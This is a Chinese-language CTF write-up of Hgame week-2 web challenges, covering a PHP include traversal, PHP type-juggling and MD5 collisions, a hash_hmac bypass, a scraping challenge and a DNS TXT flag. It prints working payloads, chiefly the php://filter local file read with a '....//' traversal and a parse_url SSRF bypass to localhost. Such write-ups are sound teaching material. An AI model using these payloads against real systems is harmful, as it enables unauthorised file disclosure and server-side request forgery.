

Hgame – week2

【Hgame – week2】Write up – Moesang

Web

easy_php

题目地址

* 一进去就F12

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>where is my robots</title>
</head>
<body>come on ! second wait you</body>
</html>
```

* 发现关键词robot

* 试着访问robots.txt



img/index.php

* 得到入口 `img/index.php`

* 发现如下代码

```
<?php
error_reporting(0);
$img = $_GET['img'];
if(!isset($img))
    $img = '1';
$img = str_replace('../', '', $img);
include_once($img.".php");
highlight_file(__FILE__);
```

- 发现替换了上级目录的字符串 `../`
- 猜测flag在上级目录
- 构造 `....//` 来代替 `../`，得到

`img=php://filter/read=convert.base64-encode/resource=....//flag`

- 得到一段base64编码，解码后得到

```
<?php
// $flag = 'hgame{You_4re_So_g0od}';
echo "maybe_you_should_think_think";
```

- flag到手

php trick

[题目地址](#)

```
<?php
//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
    die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
    die('step 2 fail');
}
if( $str3 == $str4 ){
    die('step 3 fail');
}
if ( md5($str3) != md5($str4)){
    die('step 4 fail');
}
if ( strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
    die('step 5 fail');
}
if(is_numeric($str5)){
    die('step 6 fail');
}
if ($str5<9999999999){
    die('step 7 fail');
}
if ((string)$str5>0){
    die('step 8 fail');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
    die('step 9 fail');
}
if (parse_url($url, PHP_URL_SCHEME) !== "http"){
    die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
    die('step 11 fail');
}
else{
    echo $output;
```

```
}
```

- 发现 `$str1` 与 `$str2` 是弱类型比较, 构造 `0e` 型字符串md5即可

```
str1=s1885207154a
str2=s1836677006a
```

- `$str3` 与 `$str4` 这里很纠结...既要两个字符串不等, 又要两个md5强相等, 查了很久发现有特殊的构造能使两个字符串的md5相等

```
str3=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
str4=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
```

- 然后 `$str5` 居然参数是 `$_GET['H_game']` 了...这里感觉要瞎了, 弄了好久没看到, 构造个数组就好了...

```
%48_game=[]
```

- 然后发现需要传入 `www.baidu.com`, 然后下面 `curl` 会取回响应结果, 那么参考<https://paper.seebug.org/561/>得知, 可用

```
url=http://@localhost:80@www.baidu.com//admin.php
```

- 来绕过 `parse_url` 的检查, 直接访问得到 `admin.php`

```
<?php
//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
    die('only localhost can see it');
}
$filename = $_GET['filename']??'';

if (file_exists($filename)) {
    echo "sorry,you can't see it";
}
else{
    echo file_get_contents($filename);
}
highlight_file(__FILE__);
?>
```

- 根据代码, 愉快地传入

```
filename=php://filter/read=convert.base64-encode/resource=flag.php
```

- 得到 `flag.php` 的base64编码, 解码后得到

```
<?php $flag = hgame{ThEr4_Ar4_s0m4_Php_Tr1cks} ?>
```

- flag到手
- 完整拼接url如下:

```
http://118.24.3.214:3001/  
?  
str1=s1885207154a&str2=s1836677006a&str3=%4d%  
c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%  
6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%  
a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%  
67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&str4=%4d%  
c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%  
6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%  
a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%  
67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&%48_game[ ]=&url=http://@localhost:80@www.baidu.com//admin.php?filename=php://filter/read=convert.base64-  
encode/resource=flag.php
```

PHP Is The Best Language

PHP是世界上最好的语言! 【雾】

[题目地址](#)

```
<?php  
  
include 'secret.php';  
  
#echo $flag;  
#echo $secret;  
  
if (empty($_POST['gate']) || empty($_POST['key'])) {  
    highlight_file(__FILE__);  
    exit;  
}  
  
if (isset($_POST['door'])) {  
    $secret = hash_hmac('sha256', $_POST['door'], $secret);  
}  
  
$gate = hash_hmac('sha256', $_POST['key'], $secret);  
  
if ($gate !== $_POST['gate']) {  
    echo "Hacker GetOut!!";  
    exit;  
}  
  
if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) {  
    echo "Wow!!!";  
    echo "</br>";  
    echo $flag;  
}  
else {  
    echo "Hacker GetOut!!";  
}  
  
?>
```

- 发现是一个需要全程 **POST** 的题目
- 打开 **Restlet** (一个Chrome插件)
- 然后再看一眼代码, 一脸懵逼, **\$gate** 这个变量是 **\$secret** 得到的, 然鹅我们并不知道 **\$secret** 是多少
- 查资料发现, **hash_hmac** 函数会在参数错误的情况下返回布尔值 **False**
- 这就好办了, 构造参数 **door** 成数组就会参数错误, 然后 **\$secret** 也就是 **False** 了
- 然鹅又发现一个巨坑的判断

```
(md5($_POST['key'])+1) == (md5(md5($_POST['key']))) + 1
```

- 这个看起来并不怎么友好，所以得写个循环跑字符串试试

```
<?php
$a = 'a';
while (true) {
    if ((md5($a) + 1) == (md5(md5($a))) + 1) {
        echo $a;
        break;
    }
    $a++;
}
?>
```

- php, 启动!
- 然后立马输出了 **a**
- 看来运气还挺好的...根本不用跑...
- 然后用

```
<?php
echo hash_hmac('sha256', 'a', false);
?>
```

- 得到 **9615a95d4a336118c435b9cd54c5e8644ab956b573aa2926274a1280b6674713**
- 至此, **POST** 所需参数都构造好啦

METHOD: POST | SCHEME // HOST [":" PORT] [PATH ["?" QUERY]]

length: 33 bytes

QUERY PARAMETERS

HEADERS

X-Forwarded-For	127.0.0.1	x
Content-Type	application/x-www-form-urlencoded	x
Content-Type	application/x-www-form-urlencoded	x
Authorization	token 233	x

BODY

gate	[Text]	=	9615a95d4a336118c435b9cd54c5e8644ab956b	x
key	[Text]	=	a	x
door[]	[Text]	=	text	x

+ Add form parameter | application/x-www-form-urlencoded

- 得到flag

```
hgame{Php_MayBe_Not_Safe}
```

Baby_Spider

[题目地址](#)



- 这个表情包还是挺真实的
- Li4n0学长留下了三个坑

不伪装就给你一段强制关机指令（感谢未关闭的记事本救了我x）
第11题开始换字体，题目文本与显示的不一致（以显示的为准）
第21题开始题目藏在css里（很好奇css怎么是动态的...应该是一个路由？）

- 本来以为能掌握 `request` 就能肝下这道题的我还是太天真了...
- 以下是 `python` 代码

```
import requests

if __name__ == '__main__':
    url = 'http://111.231.140.29:10000/'
    body = {'token': '5D3H6SAVxeGjaVxE8QUgTvNw1x2OnjsF'}
    response = requests.post(url, data = body)

    for i in range(10):
        #最正 (1a) 经 (ji) 的一段爬虫
        cookies = response.headers['Set-Cookie']
        e = cookies.find('Expires=')
        cookies = cookies[:e-1]
        header={'Cookie': cookies,
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0',
                'Referer': 'http://111.231.140.29:10000/question'}
        a = response.text.find('<div class="question-container"><span>')
        b = response.text.find('</span></div>')
        tm = response.text[a+38:b-2]
        ans = eval(tm)
        body = {'answer': ans}
        response = requests.post('http://111.231.140.29:10000/solution', headers = header,
                                data = body)
```

```

for i in range(10,20):      #这里进行了字体替换
    cookies = response.headers['Set-Cookie']
    e = cookies.find('Expires=')
    cookies = cookies[:e-1]
    header={'Cookie': cookies,
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0)
Gecko/20100101 Firefox/65.0',
            'Referer': 'http://111.231.140.29:10000/question'}
    a = response.text.find('<div class="question-container"><span>')
    b = response.text.find('</span></div>')
    tm = response.text[a+38:b-2]
    tm = tm.replace('0','a')
    tm = tm.replace('1','b')
    tm = tm.replace('3','c')
    tm = tm.replace('4','d')
    tm = tm.replace('5','e')
    tm = tm.replace('6','f')
    tm = tm.replace('7','g')
    tm = tm.replace('9','h')
    tm = tm.replace('a','1')
    tm = tm.replace('b','0')
    tm = tm.replace('c','6')
    tm = tm.replace('d','9')
    tm = tm.replace('e','4')
    tm = tm.replace('f','3')
    tm = tm.replace('g','5')
    tm = tm.replace('h','7')
    ans = eval(tm)
    body = {'answer': ans}
    response = requests.post('http://111.231.140.29:10000/solution',headers = header,
data = body)

for i in range(20,30):      #题目开始在css里出现
    cookies = response.headers['Set-Cookie']
    e = cookies.find('Expires=')
    cookies = cookies[:e-1]
    header={'Cookie': cookies,
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0)
Gecko/20100101 Firefox/65.0',
            'Referer': 'http://111.231.140.29:10000/question'}
    response = requests.get('http://111.231.140.29:10000/statics/style.css',headers =
header)
    a = response.text.find('content:"')
    b = response.text.find('#footer')
    tm = response.text[a+9:b-7]
    ans = eval(tm)
    body = {'answer': ans}
    response = requests.post('http://111.231.140.29:10000/solution',headers = header,
data = body)
    print(response.text)

```

py 出题人

hgame {d251b7fe8de6de16c34d624fa5031033777423c6127c726125a2f3c4d5b125e3}

- 听说这题是动态flag 反正py出题人就对子
- 下面的Math有趣这个java web是什么啊(´□`) へ┐┌┐┌

Are You Familiar with DNS Records?

题目地址: <http://project-all.club/>

- 因为需要藏flag, 那 **A记录**、**AAAA记录**、**CNAME记录** 之类的有固定格式的应该就不太可能了, 随手一查 **TXT记录**

```
project-all.club      text =  
    "flag=hgame{seems_like_you_are_familiar_with_dns}"  
project-all.club      text =  
    "v=spf1 include:spf.mail.qq.com ~all"
```

- flag到手